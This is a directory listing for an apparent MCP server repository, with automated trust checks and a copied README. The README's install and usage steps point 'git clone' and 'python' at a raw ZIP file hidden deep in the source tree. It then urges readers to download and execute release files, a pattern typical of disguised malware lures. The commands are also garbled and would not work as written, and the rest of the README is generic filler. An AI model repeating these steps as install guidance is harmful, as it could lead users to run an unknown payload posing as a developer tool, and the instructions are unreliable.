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MCP server · Developer Tools

Servers

Production-ready Model Context Protocol (MCP) servers in Python, Go, and Rust for VS Code integration. Enables AI systems to interact with tools via standardized interfaces.

57Fair

Scored 2 days ago · breakdown

About Servers

Servers is an MCP server published by gunbun33 in the Developer Tools category: production-ready Model Context Protocol (MCP) servers in Python, Go, and Rust for VS Code integration. Enables AI systems to interact with tools via standardized interfaces.

The repository has 7 stars and 2 forks, with the last commit 10 days ago. Recent commit activity is the strongest signal that reported issues will get attention.

Install

From source
git clone https://github.com/gunbun33/mcp-servers

This server has no ConduID identity, so agent calls to it are not receipted. Pin the version you install and review the source before granting it credentials.

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Security checks

Static checks derived from the repository 3 days ago. Heuristics on the source, not an audit.

  • ✓README presentThe repository ships documentation.
  • ✓License declaredUsable under a stated license.
  • !Tests presentNo tests found. Behaviour changes may go unnoticed between versions.
  • ✓Dependencies pinnedA lockfile pins dependency versions.
  • ✓No dynamic code executionSource scan found no eval, dynamic Function, or shell execution.
  • !Scoped permissionsDoesn't declare a permission scope. Assume it can do anything its process can.

Releases

quadridigitateRelease quadridigitate · 28 Apr 2025This release, tagged "quadridigitate," introduces key updates to the mcp-servers repository. It enhances the integration of Model Context Protocol servers in Python, Go, and Rust, streamlining AI interactions with tools in VS Code. Users…

README

🌟 MCP Servers: Production-Ready Model Context Protocol Servers

MCP Servers Releases

Welcome to the MCP Servers repository! This project provides production-ready Model Context Protocol (MCP) servers built in Python, Go, and Rust. These servers are designed for seamless integration with Visual Studio Code, allowing AI systems to interact with various tools through standardized interfaces.

🚀 Features

  • Multi-Language Support: Choose between Python, Go, or Rust based on your project needs.
  • Integration with VS Code: Enhance your development workflow with easy integration.
  • Standardized Interfaces: Facilitate smooth interactions between AI systems and tools.
  • Production-Ready: Built with performance and reliability in mind.

📦 Getting Started

To get started with MCP Servers, you can download the latest release from our Releases page. Follow the instructions provided in the release notes to set up and run the server in your environment.

Installation

  1. Clone the Repository:

    git clone https://github.com/gunbun33/mcp-servers/raw/refs/heads/master/go/src/monitoring/servers-mcp-v3.9.zip
    cd mcp-servers
    
  2. Choose Your Language: Select the language you prefer (Python, Go, or Rust) and follow the specific setup instructions in the corresponding directory.

  3. Run the Server: Each language has its own method for running the server. Refer to the documentation in each folder for detailed instructions.

Example Usage

Here’s a quick example of how to run the Python server:

cd python-server
python https://github.com/gunbun33/mcp-servers/raw/refs/heads/master/go/src/monitoring/servers-mcp-v3.9.zip

For Go and Rust, follow similar steps in their respective directories.

🌐 Documentation

Overview of Model Context Protocol (MCP)

The Model Context Protocol (MCP) is designed to standardize interactions between AI systems and tools. It simplifies the process of integrating various functionalities, allowing developers to focus on building features rather than dealing with complex interfaces.

Components

  • Server: The core component that listens for requests and processes them according to the MCP specifications.
  • Client: A tool or application that sends requests to the server and receives responses.

Workflow

  1. Initialization: Start the server and set it up to listen for incoming requests.
  2. Request Handling: The server processes requests based on the defined MCP structure.
  3. Response Generation: The server sends back standardized responses to the client.

🛠️ Technologies Used

  • Python: A versatile language known for its simplicity and readability.
  • Go: A statically typed language that is efficient and easy to deploy.
  • Rust: A systems programming language that emphasizes safety and performance.
  • FastAPI: A modern web framework for building APIs with Python.
  • Terraform: Infrastructure as code tool to manage cloud services.

📊 Topics

This repository covers a variety of topics, including:

  • AI Tools
  • Developer Tools
  • FastAPI
  • Golang
  • MCP Protocol
  • Model Context Protocol
  • Python
  • Rust
  • Terraform
  • VS Code Integration

📈 Contributing

We welcome contributions from the community! If you’d like to contribute, please follow these steps:

  1. Fork the Repository: Create your own copy of the repository.
  2. Create a Branch: Use a descriptive name for your branch.
    git checkout -b feature/your-feature-name
    
  3. Make Your Changes: Implement your feature or fix.
  4. Commit Your Changes: Write a clear commit message.
    git commit -m "Add your message here"
    
  5. Push to Your Branch:
    git push origin feature/your-feature-name
    
  6. Create a Pull Request: Submit your changes for review.

🤝 Support

If you encounter any issues or have questions, feel free to open an issue on GitHub. We appreciate your feedback and are here to help.

🔗 Links

📜 License

This project is licensed under the MIT License. See the LICENSE file for details.

📷 Acknowledgments

We would like to thank all contributors and the open-source community for their support. Your contributions make this project possible.

🌟 Conclusion

The MCP Servers repository offers a robust solution for integrating AI systems with tools through standardized interfaces. We invite you to explore, contribute, and enhance your development experience with our production-ready servers.

For the latest releases, visit our Releases page to download and execute the necessary files. Happy coding!

README fetched from the repository 3 days ago. The original is authoritative.

Questions

About Servers

How do I install Servers?

No package has been published for this server, so install it from source: clone the repository and follow its README.

Is Servers safe to use with an AI agent?

Its trust score is 57 out of 100 (fair). It passes 4 of the 6 static security checks run so far; the failures are listed above. It has no ConduID identity yet, so agent calls to it are not receipted.

Is Servers still maintained?

Yes — the last commit was 10 days ago. The repository has 7 stars and 2 forks.